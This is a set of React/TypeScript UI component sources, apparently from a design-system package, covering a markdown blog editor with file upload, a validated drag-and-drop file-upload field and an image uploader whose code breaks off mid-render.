insertTextAtCursor = useCallback(\n    (text: string) => {\n      const textarea = document.querySelector(\n        \".w-md-editor-text-textarea\"\n      ) as HTMLTextAreaElement\n      if (textarea) {\n        const start = textarea.selectionStart\n        const end = textarea.selectionEnd\n        const newValue = value.slice(0, start) + text + value.slice(end)\n        onChange(newValue)\n      } else {\n        onChange(value + \"\\n\" + text)\n      }\n    },\n    [value, onChange]\n  )\n\n  const handleFileUpload = useCallback(\n    async (file: File) => {\n      if (!onUploadFile) return\n\n      setIsUploading(true)\n      setUploadProgress(`Uploading ${file.name}...`)\n\n      try {\n        const url = await onUploadFile(file)\n        const isImage = file.type.startsWith(\"image/\")\n        const markdown = isImage\n          ? `![${file.name}](${url})`\n          : `[${file.name}](${url})`\n        insertTextAtCursor(markdown)\n        onFileUploaded?.(url, file.name)\n      } catch (error) {\n        console.error(\"File upload failed:\", error)\n        setUploadProgress(\"Upload failed. Please try again.\")\n      } finally {\n        setIsUploading(false)\n        setTimeout(() => setUploadProgress(\"\"), 3000)\n      }\n    },\n    [onUploadFile, insertTextAtCursor, onFileUploaded]\n  )\n\n  const handleFileInputChange = useCallback(\n    (e: React.ChangeEvent<HTMLInputElement>) => {\n      const file = e.target.files?.[0]\n      if (file) {\n        handleFileUpload(file)\n        e.target.value = \"\"\n      }\n    },\n    [handleFileUpload]\n  )\n\n  const handlePaste = useCallback(\n    (e: React.ClipboardEvent) => {\n      if (!onUploadFile) return\n      const items = e.clipboardData?.items\n      if (!items) return\n\n      for (const item of items) {\n        if (item.type.startsWith(\"image/\")) {\n          e.preventDefault()\n          const file = item.getAsFile()\n          if (file) handleFileUpload(file)\n          return\n        }\n      }\n    },\n    [onUploadFile, handleFileUpload]\n  )\n\n  const CustomPreview = ({ source }: { source: string }) => {\n    if (renderPreview) {\n      return (\n        <div style={{ padding: \"16px\", height: \"100%\", overflow: \"auto\" }}>\n          {renderPreview(source)}\n        </div>\n      )\n    }\n    return null\n  }\n\n  const uploadCommand = onUploadFile\n    ? {\n        name: \"upload\",\n        keyCommand: \"upload\",\n        buttonProps: { \"aria-label\": \"Upload file\", title: \"Upload file\" },\n        icon: isUploading ? (\n          <Loader2 className=\"w-3 h-3 animate-spin\" />\n        ) : (\n          <Upload className=\"w-3 h-3\" />\n        ),\n        execute: () => {\n          fileInputRef.current?.click()\n        },\n      }\n    : null\n\n  const extraCommands = uploadCommand\n    ? [...defaultExtraCommands, uploadCommand]\n    : defaultExtraCommands\n\n  const wrapperRef = useRef<HTMLDivElement>(null)\n  const isDraggingRef = useRef(false)\n  const mouseYRef = useRef(0)\n  const rafRef = useRef<number>(0)\n  const scrollParentRef = useRef<HTMLElement | Window>(window)\n\n  const EDGE_ZONE = 60\n  const MAX_SCROLL_SPEED = 15\n\n  const findScrollParent = useCallback((el: HTMLElement | null): HTMLElement | Window => {\n    let node = el?.parentElement\n    while (node && node !== document.documentElement) {\n      const { overflowY } = window.getComputedStyle(node)\n      if ((overflowY === \"auto\" || overflowY === \"scroll\") && node.scrollHeight > node.clientHeight) {\n        return node\n      }\n      node = node.parentElement\n    }\n    return window\n  }, [])\n\n  const scrollLoop = useCallback(() => {\n    if (!isDraggingRef.current) return\n    const parent = scrollParentRef.current\n    const isWindow = parent === window\n    const viewportBottom = isWindow\n      ? window.innerHeight\n      : (parent as HTMLElement).getBoundingClientRect().bottom\n    const distFromBottom = viewportBottom - mouseYRef.current\n    if (distFromBottom < EDGE_ZONE) {\n      const speed = Math.ceil(MAX_SCROLL_SPEED * (1 - distFromBottom / EDGE_ZONE))\n      if (isWindow) {\n        window.scrollBy(0, speed)\n      } else {\n        (parent as HTMLElement).scrollTop += speed\n      }\n    }\n    rafRef.current = requestAnimationFrame(scrollLoop)\n  }, [])\n\n  useEffect(() => {\n    const wrapper = wrapperRef.current\n    if (!wrapper) return\n\n    const onMouseMove = (e: MouseEvent) => { mouseYRef.current = e.clientY }\n\n    const onMouseDown = (e: MouseEvent) => {\n      if ((e.target as HTMLElement).closest(\".w-md-editor-bar\")) {\n        isDraggingRef.current = true\n        mouseYRef.current = e.clientY\n        scrollParentRef.current = findScrollParent(wrapper)\n        window.addEventListener(\"mousemove\", onMouseMove)\n        rafRef.current = requestAnimationFrame(scrollLoop)\n      }\n    }\n\n    const onMouseUp = () => {\n      if (isDraggingRef.current) {\n        isDraggingRef.current = false\n        window.removeEventListener(\"mousemove\", onMouseMove)\n        cancelAnimationFrame(rafRef.current)\n      }\n    }\n\n    wrapper.addEventListener(\"mousedown\", onMouseDown)\n    window.addEventListener(\"mouseup\", onMouseUp)\n    return () => {\n      wrapper.removeEventListener(\"mousedown\", onMouseDown)\n      window.removeEventListener(\"mouseup\", onMouseUp)\n      window.removeEventListener(\"mousemove\", onMouseMove)\n      cancelAnimationFrame(rafRef.current)\n    }\n  }, [scrollLoop, findScrollParent])\n\n  return (\n    <div\n      ref={wrapperRef}\n      className={cn(\"advanced-blog-editor\", className)}\n      onPaste={handlePaste}\n    >\n      {onUploadFile && (\n        <input\n          ref={fileInputRef}\n          type=\"file\"\n          className=\"hidden\"\n          onChange={handleFileInputChange}\n          accept=\"image/*,.pdf,.doc,.docx,.xls,.xlsx,.ppt,.pptx,.zip,.txt\"\n        />\n      )}\n\n      {!MDEditor && (\n        <div className=\"flex items-center justify-center h-64\">\n          <Loader2 className=\"h-8 w-8 animate-spin\" />\n        </div>\n      )}\n      {MDEditor && (\n        <MDEditor\n          value={value}\n          onChange={handleChange}\n          preview=\"live\"\n          hideToolbar={false}\n          visibleDragbar={true}\n          height={height}\n          minHeight={minHeight}\n          extraCommands={extraCommands}\n          style={\n            {\n              \"--md-editor-text-color\": \"var(--color-text-primary)\",\n              \"--md-editor-bg-color\": \"var(--color-bg-card)\",\n              \"--md-editor-border-color\": \"var(--color-border)\"\n            } as any\n          }\n          components={\n            renderPreview\n              ? {\n                  preview: (source) => {\n                    return <CustomPreview source={source} />\n                  },\n                }\n              : undefined\n          }\n          textareaProps={{\n            placeholder,\n            disabled,\n            style: {\n              fontFamily: 'var(--font-family-body)',\n              fontSize: \"18px\",\n              fontWeight: 500,\n              lineHeight: \"24px\",\n              color: \"var(--color-text-primary)\",\n              backgroundColor: disabled ? \"var(--color-bg)\" : \"var(--color-bg-card)\",\n            },\n          }}\n          data-color-mode=\"dark\"\n        />\n      )}\n\n      {uploadProgress && (\n        <p className=\"text-h6 text-ods-text-secondary mt-1\">{uploadProgress}</p>\n      )}\n\n      <MarkdownEditorStyles />\n    </div>\n  )\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport { Loader2 } from \"lucide-react\"\nimport { ImagePlusIcon } from \"../icons-v2-generated/audio-and-visual/image-plus-icon\"\nimport { Download02Icon } from \"../icons-v2-generated/interface/download-02-icon\"\nimport { TrashIcon } from \"../icons-v2-generated/interface/trash-icon\"\nimport { FileIcon } from \"../icons-v2-generated/documents/file-icon\"\nimport { cn } from \"../../utils/cn\"\nimport { FieldWrapper } from \"./field-wrapper\"\n\n/** A managed file entry for async upload workflows (e.g. presigned URL uploads) */\nexport interface ManagedFileEntry {\n  /** Unique identifier for this file (e.g. temp attachment ID from backend) */\n  id: string\n  /** Display file name */\n  fileName: string\n  /** File size in bytes */\n  fileSize: number\n  /** Upload status */\n  status: \"uploading\" | \"uploaded\" | \"error\"\n  /** Error message when status is \"error\" */\n  error?: string\n}\n\n/**\n * The metadata this component needs to validate and list a file. A browser\n * `File` satisfies it structurally, and so can a host's own file handle: a\n * native shell's OS picker hands back a path plus metadata and never a `File`,\n * because the bytes deliberately stay outside the WebView. See `pickFiles`.\n */\nexport interface FileUploadCandidate {\n  name: string\n  size: number\n  type: string\n}\n\n/**\n * A file this component can hand back. Dropping, and the built-in\n * `<input type=\"file\">`, always produce browser `File`s no matter what\n * `pickFiles` returns — so `File` is part of the contract even when `T` is a\n * host's own handle type. Collapses to plain `File` in the default case.\n */\nexport type FileUploadValue<T extends FileUploadCandidate = File> = T | File\n\nexport interface FileUploadProps<T extends FileUploadCandidate = File> {\n  /** Currently selected file(s) — use for simple, synchronous file handling */\n  value?: FileUploadValue<T> | FileUploadValue<T>[]\n  /** Callback when files change — used with `value` for simple mode */\n  onChange: (files: FileUploadValue<T> | FileUploadValue<T>[] | undefined) => void\n  /**\n   * Managed file entries for async upload workflows.\n   * When provided, the file list renders from these entries instead of `value`.\n   * The dropzone still triggers `onChange` with new `File` objects so the consumer can upload them.\n   */\n  managedFiles?: ManagedFileEntry[]\n  /** Callback to remove a managed file by its id. Required when `managedFiles` is provided. */\n  onRemoveManagedFile?: (id: string) => void\n  /** When provided, an uploaded managed file shows a download action that calls this with its id. */\n  onDownloadManagedFile?: (id: string) => void\n  /** Accepted MIME types (e.g., \"image/*\", \".pdf,.doc\") */\n  accept?: string\n  /** Maximum file size in bytes. Default: 10MB */\n  maxSize?: number\n  /** Maximum number of files (only used when multiple=true). Default: 10 */\n  maxFiles?: number\n  /** Allow multiple file selection. Default: false */\n  multiple?: boolean\n  /** Primary label text. Default: \"Upload Files\" */\n  label?: string\n  /** Description text below label. Default: \"(Click Here or Drag and Drop)\" */\n  description?: string\n  /** Field label above the component */\n  fieldLabel?: string\n  /** Whether the component is disabled */\n  disabled?: boolean\n  /** Error message */\n  error?: string\n  /** Additional className */\n  className?: string\n  /** Custom icon element */\n  icon?: React.ReactNode\n  /** Max height for the file list area (e.g., 200 or \"200px\"). When set, the file list scrolls independently. */\n  maxListHeight?: number | string\n  /**\n   * When true, files dropped anywhere in the window are routed to this component,\n   * and the browser's default file-open behavior is suppressed. Use on screens/modals\n   * where this is the only drop target. Default: false.\n   */\n  acceptWindowDrops?: boolean\n  /**\n   * Replaces the built-in `<input type=\"file\">` as the source of files. When set,\n   * clicking the dropzone calls this instead of opening the input, and whatever it\n   * resolves with runs through the same accept/size/count validation before\n   * reaching `onChange`. Resolve with an empty array when the user cancels; a\n   * rejection surfaces in this component's own error slot.\n   *\n   * For hosts whose picker a WebView cannot provide — a native shell's OS picker\n   * returns file handles rather than `File` objects, which is what widens `T`.\n   * Leave unset on the web, where the built-in input is the right answer.\n   */\n  pickFiles?: () => Promise<T[]>\n}\n\nfunction formatFileSize(bytes: number): string {\n  if (bytes === 0) return \"0 B\"\n  const k = 1024\n  const sizes = [\"B\", \"KB\", \"MB\", \"GB\"]\n  const i = Math.floor(Math.log(bytes) / Math.log(k))\n  return `${parseFloat((bytes / Math.pow(k, i)).toFixed(1))} ${sizes[i]}`\n}\n\nfunction matchesAccept(file: FileUploadCandidate, accept: string): boolean {\n  if (!accept || accept === \"*/*\") return true\n  const patterns = accept\n    .split(\",\")\n    .map((p) => p.trim().toLowerCase())\n    .filter(Boolean)\n  if (patterns.length === 0) return true\n  const fileType = (file.type || \"\").toLowerCase()\n  const fileName = file.name.toLowerCase()\n  return patterns.some((pattern) => {\n    if (pattern.startsWith(\".\")) return fileName.endsWith(pattern)\n    if (pattern.endsWith(\"/*\")) return fileType.startsWith(pattern.slice(0, -1))\n    return fileType === pattern\n  })\n}\n\nfunction dragHasFiles(e: DragEvent): boolean {\n  const types = e.dataTransfer?.types\n  if (!types) return false\n  for (let i = 0; i < types.length; i++) {\n    if (types[i] === \"Files\") return true\n  }\n  return false\n}\n\nexport function FileUpload<T extends FileUploadCandidate = File>({\n  value,\n  onChange,\n  managedFiles,\n  onRemoveManagedFile,\n  onDownloadManagedFile,\n  accept = \"*/*\",\n  maxSize = 10 * 1024 * 1024,\n  maxFiles = 10,\n  multiple = false,\n  label = \"Upload Files\",\n  description = \"(Click Here or Drag and Drop)\",\n  fieldLabel,\n  disabled = false,\n  error,\n  className,\n  icon,\n  maxListHeight,\n  acceptWindowDrops = false,\n  pickFiles,\n}: FileUploadProps<T>) {\n  const [dragActive, setDragActive] = React.useState(false)\n  const [validationError, setValidationError] = React.useState<string | null>(null)\n  const fileInputRef = React.useRef<HTMLInputElement>(null)\n\n  const isManaged = managedFiles !== undefined\n\n  const files = React.useMemo(() => {\n    if (!value) return []\n    return Array.isArray(value) ? value : [value]\n  }, [value])\n\n  const currentCount = isManaged ? managedFiles.length : files.length\n\n  const validateFiles = (\n    incoming: FileUploadValue<T>[],\n  ): { accepted: FileUploadValue<T>[]; error: string | null } => {\n    if (incoming.length === 0) return { accepted: [], error: null }\n\n    const candidates = multiple ? incoming : incoming.slice(0, 1)\n\n    for (const file of candidates) {\n      if (!matchesAccept(file, accept)) {\n        return { accepted: [], error: `File \"${file.name}\" is not an accepted type` }\n      }\n      if (file.size > maxSize) {\n        return {\n          accepted: [],\n          error: `File \"${file.name}\" exceeds maximum size of ${formatFileSize(maxSize)}`,\n        }\n      }\n    }\n\n    if (multiple && currentCount + candidates.length > maxFiles) {\n      return {\n        accepted: [],\n        error: `You can attach at most ${maxFiles} ${maxFiles === 1 ? \"file\" : \"files\"}`,\n      }\n    }\n\n    return { accepted: candidates, error: null }\n  }\n\n  const handleFiles = (incoming: FileList | FileUploadValue<T>[]) => {\n    setValidationError(null)\n    const fileArray: FileUploadValue<T>[] = Array.isArray(incoming) ? incoming : Array.from(incoming)\n    if (fileArray.length === 0) return\n\n    const { accepted, error: validationErr } = validateFiles(fileArray)\n    if (validationErr) {\n      setValidationError(validationErr)\n      return\n    }\n    if (accepted.length === 0) return\n\n    if (isManaged) {\n      onChange(multiple ? accepted : accepted[0])\n    } else if (multiple) {\n      onChange([...files, ...accepted])\n    } else {\n      onChange(accepted[0])\n    }\n\n    if (fileInputRef.current) {\n      fileInputRef.current.value = \"\"\n    }\n  }\n\n  const handleFilesRef = React.useRef(handleFiles)\n  handleFilesRef.current = handleFiles\n\n  const handleDrag = (e: React.DragEvent) => {\n    e.preventDefault()\n    e.stopPropagation()\n    if (disabled) return\n    if (e.type === \"dragenter\" || e.type === \"dragover\") {\n      setDragActive(true)\n    } else if (e.type === \"dragleave\") {\n      setDragActive(false)\n    }\n  }\n\n  const handleDrop = (e: React.DragEvent) => {\n    e.preventDefault()\n    e.stopPropagation()\n    setDragActive(false)\n    if (disabled) return\n    if (e.dataTransfer.files?.length) {\n      handleFiles(e.dataTransfer.files)\n    }\n  }\n\n  React.useEffect(() => {\n    if (!acceptWindowDrops || disabled) return\n\n    let dragCounter = 0\n\n    const onWindowDragEnter = (e: DragEvent) => {\n      if (!dragHasFiles(e)) return\n      e.preventDefault()\n      dragCounter++\n      if (dragCounter === 1) setDragActive(true)\n    }\n    const onWindowDragOver = (e: DragEvent) => {\n      if (!dragHasFiles(e)) return\n      e.preventDefault()\n    }\n    const onWindowDragLeave = (e: DragEvent) => {\n      if (!dragHasFiles(e)) return\n      e.preventDefault()\n      dragCounter = Math.max(0, dragCounter - 1)\n      if (dragCounter === 0) setDragActive(false)\n    }\n    const onWindowDrop = (e: DragEvent) => {\n      if (!dragHasFiles(e)) return\n      e.preventDefault()\n      dragCounter = 0\n      setDragActive(false)\n      if (e.dataTransfer?.files?.length) {\n        handleFilesRef.current(e.dataTransfer.files)\n      }\n    }\n    const onWindowDragEnd = () => {\n      dragCounter = 0\n      setDragActive(false)\n    }\n\n    window.addEventListener(\"dragenter\", onWindowDragEnter)\n    window.addEventListener(\"dragover\", onWindowDragOver)\n    window.addEventListener(\"dragleave\", onWindowDragLeave)\n    window.addEventListener(\"drop\", onWindowDrop)\n    window.addEventListener(\"dragend\", onWindowDragEnd)\n\n    return () => {\n      window.removeEventListener(\"dragenter\", onWindowDragEnter)\n      window.removeEventListener(\"dragover\", onWindowDragOver)\n      window.removeEventListener(\"dragleave\", onWindowDragLeave)\n      window.removeEventListener(\"drop\", onWindowDrop)\n      window.removeEventListener(\"dragend\", onWindowDragEnd)\n    }\n  }, [acceptWindowDrops, disabled])\n\n  const handleFileSelect = (e: React.ChangeEvent<HTMLInputElement>) => {\n    if (e.target.files?.length) {\n      handleFiles(e.target.files)\n    }\n  }\n\n  const handleRemoveFile = (index: number) => {\n    const updated = files.filter((_, i) => i !== index)\n    if (updated.length === 0) {\n      onChange(undefined)\n    } else {\n      onChange(multiple ? updated : updated[0])\n    }\n    if (fileInputRef.current) {\n      fileInputRef.current.value = \"\"\n    }\n  }\n\n  const openDialog = async () => {\n    if (disabled) return\n    if (!pickFiles) {\n      fileInputRef.current?.click()\n      return\n    }\n    // A host picker is a real async operation that can fail (a second picker\n    // already on screen, an unreadable selection), and this runs from a click\n    // handler where a rejection would go unhandled.\n    try {\n      // Skip the empty (cancelled) case rather than routing it through\n      // handleFiles, whose first act is to clear a validation message the user\n      // may still be reading.\n      const picked = await pickFiles()\n      if (picked.length > 0) handleFiles(picked)\n    } catch (err) {\n      setValidationError(err instanceof Error ? err.message : \"Could not open the file picker\")\n    }\n  }\n\n  const displayError = error || validationError || undefined\n  const hasFiles = isManaged ? managedFiles.length > 0 : files.length > 0\n  // Single-file mode hides the dropzone once a file is picked (no more to add);\n  // multiple keeps it visible to keep attaching.\n  const showDropzone = multiple || !hasFiles\n\n  return (\n    <FieldWrapper label={fieldLabel} error={displayError} className={className}>\n      {/* Rendered even when `pickFiles` supersedes it: whether a host has a\n          native picker is only knowable on the client, and dropping this node\n          from the tree would make the prerendered HTML and the hydrated render\n          disagree. It is inert — nothing clicks it once `pickFiles` is set. */}\n      <input\n        ref={fileInputRef}\n        type=\"file\"\n        accept={accept}\n        multiple={multiple}\n        onChange={handleFileSelect}\n        className=\"hidden\"\n        disabled={disabled}\n      />\n\n      {/* File list (above) + upload dropzone — single bordered list, file-type icon + name/size + actions per row */}\n      <div className=\"flex flex-col gap-[var(--spacing-system-xsf)]\">\n        {hasFiles && (\n          <div\n            className={cn(\n              \"flex flex-col rounded-[6px] border border-ods-border bg-ods-card transition-colors duration-200\",\n              !maxListHeight && \"overflow-hidden\",\n              dragActive && \"border-ods-accent\",\n            )}\n            style={maxListHeight ? { maxHeight: typeof maxListHeight === \"number\" ? `${maxListHeight}px` : maxListHeight, overflowY: \"auto\" } : undefined}\n          >\n            {isManaged\n              ? managedFiles.map((entry) => (\n                  <div\n                    key={entry.id}\n                    className={cn(\n                      \"flex items-center gap-[var(--spacing-system-mf)] px-[var(--spacing-system-mf)] py-[var(--spacing-system-sf)] border-b border-ods-border last:border-b-0\",\n                      entry.status === \"error\" && \"bg-ods-error/5\",\n                    )}\n                  >\n                    <div className=\"flex items-center justify-center size-10 rounded-[6px] border border-ods-border bg-ods-card shrink-0\">\n                      <FileIcon className=\"size-6 text-ods-text-secondary\" />\n                    </div>\n                    <div className=\"flex-1 min-w-0\">\n                      <p className=\"text-h4 text-ods-text-primary truncate\" title={entry.fileName}>\n                        {entry.fileName}\n                      </p>\n                      <div className=\"flex items-center gap-[var(--spacing-system-xsf)]\">\n                        <span className=\"text-h6 text-ods-text-secondary\">\n                          {formatFileSize(entry.fileSize)}\n                        </span>\n                        {entry.status === \"uploading\" && (\n                          <span className=\"flex items-center gap-[var(--spacing-system-xxs)] text-h6 text-ods-text-secondary\">\n                            <Loader2 className=\"size-3 animate-spin\" />\n                            Uploading...\n                          </span>\n                        )}\n                        {entry.status === \"error\" && (\n                          <span className=\"text-h6 text-ods-error\">\n                            {entry.error || \"Upload failed\"}\n                          </span>\n                        )}\n                      </div>\n                    </div>\n                    {onDownloadManagedFile && entry.status === \"uploaded\" && (\n                      <button\n                        type=\"button\"\n                        onClick={() => onDownloadManagedFile(entry.id)}\n                        className=\"shrink-0 text-ods-text-secondary hover:text-ods-text-primary transition-colors\"\n                        aria-label={`Download ${entry.fileName}`}\n                      >\n                        <Download02Icon className=\"size-6\" />\n                      </button>\n                    )}\n                    {!disabled && (\n                      <button\n                        type=\"button\"\n                        onClick={() => onRemoveManagedFile?.(entry.id)}\n                        className=\"shrink-0 text-ods-error hover:opacity-80 transition-opacity\"\n                        aria-label={`Remove ${entry.fileName}`}\n                      >\n                        <TrashIcon className=\"size-6\" />\n                      </button>\n                    )}\n                  </div>\n                ))\n              : files.map((file, index) => (\n                  <div\n                    key={`${file.name}-${index}`}\n                    className=\"flex items-center gap-[var(--spacing-system-mf)] px-[var(--spacing-system-mf)] py-[var(--spacing-system-sf)] border-b border-ods-border last:border-b-0\"\n                  >\n                    <div className=\"flex items-center justify-center size-10 rounded-[6px] border border-ods-border bg-ods-card shrink-0\">\n                      <FileIcon className=\"size-6 text-ods-text-secondary\" />\n                    </div>\n                    <div className=\"flex-1 min-w-0\">\n                      <p className=\"text-h4 text-ods-text-primary truncate\" title={file.name}>\n                        {file.name}\n                      </p>\n                      <p className=\"text-h6 text-ods-text-secondary\">\n                        {formatFileSize(file.size)}\n                      </p>\n                    </div>\n                    {!disabled && (\n                      <button\n                        type=\"button\"\n                        onClick={() => handleRemoveFile(index)}\n                        className=\"shrink-0 text-ods-error hover:opacity-80 transition-opacity\"\n                        aria-label={`Remove ${file.name}`}\n                      >\n                        <TrashIcon className=\"size-6\" />\n                      </button>\n                    )}\n                  </div>\n                ))\n            }\n          </div>\n        )}\n\n        {showDropzone && (\n        <button\n          type=\"button\"\n          onDragEnter={handleDrag}\n          onDragLeave={handleDrag}\n          onDragOver={handleDrag}\n          onDrop={handleDrop}\n          onClick={openDialog}\n          disabled={disabled}\n          className={cn(\n            \"flex w-full items-center gap-[var(--spacing-system-xsf)] p-[var(--spacing-system-sf)] rounded-[6px] border border-dashed cursor-pointer text-left\",\n            \"transition-colors duration-200\",\n            \"bg-ods-card border-ods-border\",\n            dragActive && \"border-ods-accent bg-ods-accent/5\",\n            !dragActive && \"hover:border-ods-accent/30\",\n            disabled && \"opacity-50 cursor-not-allowed hover:border-ods-border\",\n          )}\n        >\n          <div className=\"flex items-center p-[var(--spacing-system-sf)] rounded-full bg-ods-card border border-ods-border shrink-0\">\n            {icon || <ImagePlusIcon className=\"size-6 text-ods-text-primary\" />}\n          </div>\n          <div className=\"flex flex-1 flex-col min-w-0\">\n            <span className=\"text-h4 text-ods-text-primary\">{label}</span>\n            <span className=\"text-h6 text-ods-text-secondary\">{description}</span>\n          </div>\n        </button>\n        )}\n      </div>\n    </FieldWrapper>\n  )\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport { Loader2 } from \"lucide-react\"\nimport { ImagePlusIcon } from \"../icons-v2-generated/audio-and-visual/image-plus-icon\"\nimport { Refresh02VrIcon } from \"../icons-v2-generated/media-playback/refresh-02-vr-icon\"\nimport { TrashIcon } from \"../icons-v2-generated/interface/trash-icon\"\nimport { useAuthedImageSrc } from \"../../hooks/use-authed-image-src\"\nimport { cn } from \"../../utils/cn\"\nimport { FieldWrapper } from \"./field-wrapper\"\n\nexport interface ImageUploaderProps {\n  /** Current image URL (remote, blob, or data URL). When set, the preview state is shown. */\n  value?: string\n  /** Fired when the user picks or drops a new image. The consumer is responsible for uploading. */\n  onChange: (file: File) => void\n  /** Fired when the user clicks the trash icon. Omit to hide the remove button. */\n  onRemove?: () => void\n  /** Accepted MIME types or extensions. Default: \"image/*\" */\n  accept?: string\n  /** Maximum file size in bytes. Default: 25MB */\n  maxSize?: number\n  /** Empty-state primary label. */\n  label?: string\n  /** Empty-state secondary description. */\n  description?: string\n  /** Empty-state hint line. Pass `null` to hide it. Default: derived from `maxSize`. */\n  hint?: React.ReactNode | null\n  /** Field label rendered above the component (via FieldWrapper). */\n  fieldLabel?: string\n  /** Disables interaction. */\n  disabled?: boolean\n  /** Show loading state — disables interaction and renders a spinner overlay. */\n  loading?: boolean\n  /** External error message. Internal validation errors take precedence when present. */\n  error?: string\n  /** CSS aspect-ratio for the dropzone, e.g. \"16 / 9\", \"1 / 1\". When set, overrides the default fixed height. */\n  aspectRatio?: string\n  /** object-fit for the preview image. Default: \"cover\" */\n  objectFit?: \"cover\" | \"contain\" | \"fill\" | \"none\" | \"scale-down\"\n  /** Alt text for the preview image. */\n  alt?: string\n  /** Extra className on the FieldWrapper root. */\n  className?: string\n  /**\n   * Extra className on the dropzone element itself. Merged after the defaults, so it can\n   * override the built-in sizing (e.g. pass `h-[148px]` to replace the default `h-44`).\n   */\n  dropzoneClassName?: string\n}\n\nconst DEFAULT_MAX_SIZE = 25 * 1024 * 1024\n\nfunction formatSize(bytes: number): string {\n  const mb = bytes / (1024 * 1024)\n  if (mb >= 1) return Number.isInteger(mb) ? `${mb}MB` : `${mb.toFixed(1)}MB`\n  const kb = bytes / 1024\n  return Number.isInteger(kb) ? `${kb}KB` : `${kb.toFixed(0)}KB`\n}\n\nfunction matchesAccept(file: File, accept: string): boolean {\n  if (!accept || accept === \"*/*\") return true\n  const patterns = accept\n    .split(\",\")\n    .map((p) => p.trim().toLowerCase())\n    .filter(Boolean)\n  if (patterns.length === 0) return true\n  const fileType = (file.type || \"\").toLowerCase()\n  const fileName = file.name.toLowerCase()\n  return patterns.some((pattern) => {\n    if (pattern.startsWith(\".\")) return fileName.endsWith(pattern)\n    if (pattern.endsWith(\"/*\")) return fileType.startsWith(pattern.slice(0, -1))\n    return fileType === pattern\n  })\n}\n\nexport function ImageUploader({\n  value,\n  onChange,\n  onRemove,\n  accept = \"image/*\",\n  maxSize = DEFAULT_MAX_SIZE,\n  label = \"Cover Image\",\n  description = \"(Click Here or Drag and Drop)\",\n  hint,\n  fieldLabel,\n  disabled = false,\n  loading = false,\n  error,\n  aspectRatio,\n  objectFit = \"cover\",\n  alt = \"Uploaded image\",\n  className,\n  dropzoneClassName,\n}: ImageUploaderProps) {\n  const inputRef = React.useRef<HTMLInputElement>(null)\n  const [dragActive, setDragActive] = React.useState(false)\n  const [pressed, setPressed] = React.useState(false)\n  const [validationError, setValidationError] = React.useState<string | null>(null)\n\n  const interactive = !disabled && !loading\n  // Bearer-mode shells: swap a gateway URL for an authed blob URL (native\n  // <img> loads can't carry Authorization); pass-through everywhere else,\n  // including local blob/data preview URLs. `hasImage` stays keyed on the\n  // caller's `value` so the preview chrome doesn't flash to the empty\n  // state while the blob fetch is in flight.\n  const resolvedValue = useAuthedImageSrc(value)\n  const hasImage = Boolean(value)\n  const displayError = error || validationError || undefined\n  const resolvedHint = hint === undefined ? `Max. size: ${formatSize(maxSize)}` : hint\n\n  const validateAndEmit = (file?: File) => {\n    if (!file) return\n    setValidationError(null)\n    if (!matchesAccept(file, accept)) {\n      setValidationError(\"Unsupported file type\")\n      return\n    }\n    if (file.size > maxSize) {\n      setValidationError(`File exceeds maximum size of ${formatSize(maxSize)}`)\n      return\n    }\n    onChange(file)\n  }\n\n  const handleFileSelect = (e: React.ChangeEvent<HTMLInputElement>) => {\n    validateAndEmit(e.target.files?.[0])\n    if (inputRef.current) inputRef.current.value = \"\"\n  }\n\n  const handleDrag = (e: React.DragEvent) => {\n    e.preventDefault()\n    e.stopPropagation()\n    if (!interactive) return\n    if (e.type === \"dragenter\" || e.type === \"dragover\") setDragActive(true)\n    else if (e.type === \"dragleave\") setDragActive(false)\n  }\n\n  const handleDrop = (e: React.DragEvent) => {\n    e.preventDefault()\n    e.stopPropagation()\n    setDragActive(false)\n    if (!interactive) return\n    validateAndEmit(e.dataTransfer.files?.[0])\n  }\n\n  const openDialog = () => {\n    if (!interactive) return\n    inputRef.current?.click()\n  }\n\n  const handleRootKeyDown = (e: React.KeyboardEvent) => {\n    if (hasImage || !interactive) return\n    if (e.key === \"Enter\" || e.key === \" \") {\n      e.preventDefault()\n      openDialog()\n    }\n  }\n\n  const isActionState = dragActive || (pressed && !hasImage)\n\n  return (\n    <FieldWrapper label={fieldLabel} error={displayError} className={className}>\n      <input\n        ref={inputRef}\n        type=\"file\"\n        accept={accept}\n        onChange={handleFileSelect}\n        className=\"hidden\"\n        disabled={!interactive}\n      />\n\n      <div\n        onDragEnter={handleDrag}\n        onDragLeave={handleDrag}\n        onDragOver={handleDrag}\n        onDrop={handleDrop}\n        onClick={!hasImage ? openDialog : undefined}\n        onKeyDown={handleRootKeyDown}\n        onMouseDown={!hasImage ? () => setPressed(true) : undefined}\n        onMouseUp={!hasImage ? () => setPressed(false) : undefined}\n        onMouseLeave={!hasImage ? () => setPressed(false) : undefined}\n        role={!hasImage ? \"button\" : undefined}\n        tabIndex={!hasImage && interactive ? 0 : undefined}\n        aria-disabled={!interactive || undefined}\n        style={aspectRatio ? { aspectRatio } : undefined}\n        className={cn(\n          \"relative flex w-full flex-col items-center justify-center gap-[var(--spacing-system-l)] p-[var(--spacing-system-l)] rounded-md\",\n          !aspectRatio && \"h-44\",\n          \"border border-dashed transition-colors duration-150\",\n          hasImage\n            ? \"bg-ods-bg border-ods-border\"\n            : isActionState\n              ? \"bg-ods-bg-active border-ods-border-active\"\n              : \"bg-ods-card border-ods-border\",\n          !hasImage && interactive && !isActionState && \"cursor-pointer hover:bg-ods-bg-hover hover:border-ods-border-hover\",\n          !interactive && \"opacity-60\",\n          !hasImage && !interactive && \"cursor-not-allowed\",\n          dropzoneClassName,\n        )}\n      >\n\n        {hasImage ? (\n          <>\n            <div className=\"relative min-h-0 w-full flex-1 overflow-hidden rounded-md\">\n              {resolvedValue && (\n                <img\n                  src={resolvedValue}\n                  alt={alt}\n                  className={cn(\n                    \"pointer-events-none absolute inset-0 size-full\",\n                    objectFit === \"cover\" && \"object-cover\",\n                    objectFit === \"contain\" && \"object-contain\",\n                    objectFit === \"fill\" && \"object-fill\",\n                    objectFit === \"none\" && \"object-none\",\n                    objectFit === \"scale-down\" && \"object-scale-down\",\n                  )}\n                />\n              )}\n            </div>\n\n            <div className=\"absolute left-1/2 top-1/2 flex -translate-x-1/2 -translate-y-1/2 items-center gap-4\">\n              <ActionIconButton\n                onClick={openDialog}\n                disabled={!interactive}\n                ariaLabel=\"Replace image\"\n              >\n                <Refresh02VrIcon className=\"size-6\" />\n              </ActionIconButton>\n              {onRemove && (\n                <ActionIconButton\n                  onClick={onRemove}\n                  disabled={!interactive}\n                  ariaLabel=\"Remove image\"\n                >\n                  <TrashIcon className=\"size-6\" />\n                